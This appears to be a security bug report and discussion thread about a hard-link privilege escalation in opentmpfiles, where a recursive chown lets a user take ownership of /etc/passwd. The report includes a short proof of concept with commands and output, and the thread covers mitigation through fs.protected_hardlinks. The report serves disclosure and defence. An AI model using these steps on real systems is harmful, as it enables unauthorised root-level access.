== Summary == The opentmpfiles program implements the tmpfiles.d specification for POSIX systems that do not run systemd. When processing a "Z" type entry, opentmpfiles calls chown recursively to change ownership of the target directory and its contents. An attacker can introduce a hard link into that directory pointing to a sensitive file, and the next time that opentmpfiles is run, ownership of the hard link's target will be given to the attacker. == Details == The specification for the Z-type tmpfiles.d entry implies some type of recursive chown: Z Recursively set the access mode, group and user, and restore the SELinux security context of a file or directory if it exists, as well as of its subdirectories and the files contained therein (if applicable). Lines of this type accept shell-style globs in place of normal path names. Does not follow symlinks. In opentmpfiles, this is implemented in the "tmpfiles" script: _Z() { # Recursively set ownership, access mode and relabel security # context of a path and all its subdirectories (if it is a # directory). Lines of this type accept shell-style globs in # place of normal path names. [ $CREATE -gt 0 ] || return 0 CHOPTS=-R relabel "$@" } relabel() { ... if [ $uid != '-' ]; then dryrun_or_real chown $CHOPTS "$uid" "$path" x=$? if [ $x -ne 0 ]; then status=$x fi fi ... } dryrun_or_real() { local dryrun= if [ $DRYRUN -eq 1 ]; then dryrun=echo fi $dryrun "$@" } Ultimately, the target of the Z-type entry has "chown -R" called on it. By default, chown will refuse to follow symlinks when operating recursively; however, hard links are another story. Unless some (nonstandard) kernel-level protection is enabled, unprivileged users are free to create hard links to root-owned files, and chown will follow them. This is straightforward to exploit as the user who owns the target of a Z-type entry. Take for example the following tmpfiles.d entry, in /etc/tmpfiles.d/exploit.conf: d /var/lib/opentmpfiles-exploit 0755 mjo mjo Z /var/lib/opentmpfiles-exploit 0755 mjo mjo When opentmpfiles is run, ownership of that directory is given to my mjo user: mjo $ sudo /etc/init.d/opentmpfiles-setup start mjo $ ls -ld /var/lib/opentmpfiles-exploit drwxr-xr-x 2 mjo mjo 4096 Feb 13 18:38 /var/lib/opentmpfiles-exploit At that point, I'm free to introduce whatever hard links I want, mjo $ ln /etc/passwd /var/lib/opentmpfiles-exploit/x and then restart opentmpfiles (which would happen after a reboot, anyway): mjo $ sudo /etc/init.d/opentmpfiles-setup restart The "chown -R" follows my link, and afterwards I own /etc/passwd: mjo $ ls -l /etc/passwd -rwxr-xr-x 2 mjo mjo 1504 Feb 13 19:15 /etc/passwd == Mitigation == On Linux, the fs.protected_hardlinks sysctl should be enabled: root # sysctl --write fs.protected_hardlinks=1
@Maintainers please confirm if we are affected by this CVE. Thank you
We are, but it is mitigated with gentoo-sources where fs.protected_hardlinks is enabled by default.
fs.protected_hardlinks is enabled by default in gentoo-sources per bug #540006.
But if you install vanilla-sources, you silently become vulnerable to a bunch of easy root exploits?
(In reply to Michael Orlitzky from comment #4) > But if you install vanilla-sources, you silently become vulnerable to a > bunch of easy root exploits? Security does not support vanilla-sources. 1. It is an unstable package 2. The Gentoo kernel project does not support it either (Aside from making it available) While those are valid reasons I would agree that maybe something more should be done to warn users. I will have to look at the upstream kernel to verify if fs.protected_hardlinks=1.
Currently mitigated by the sysctl being set by default in bug 704914. But it is true it is not yet resolved upstream.
Right, so we talked about this in #gentoo-dev. The gist is that while this is a real issue in opentmpfiles, there isn't really anything we can do (the best is the mitigation which resolves this for any systems in a supported configuration - the default), and that even with the systemd approach, the race still exists (just shorter).
It's fixable, but only on recent linux systems. And it's possible to mitigate with a race condition everywhere from within opentmpfiles. But the big picture is pretty clear: the systemd tmpfiles "specification" is faulty, since it can't be implemented securely unless you're on a brand-new linux system. The goal of opentmpfiles is therefore impossible to achieve. Solution: give up, mask it, and get rid of it. (Or, mask it everywhere except with recent linux kernels... but why? I can use systemd's tmpfiles there if I want to. Opentmpfiles is only useful in situations where it introduces root exploits.)
Also note that the sysctl tweaks DO NOT fix this other kindergarten root exploit: https://github.com/OpenRC/opentmpfiles/issues/4 The situation is the same: it's fixable only on recent linux systems, where opentmpfiles serves no purpose in the first place. See CVE-2018-6954 for the systemd solution.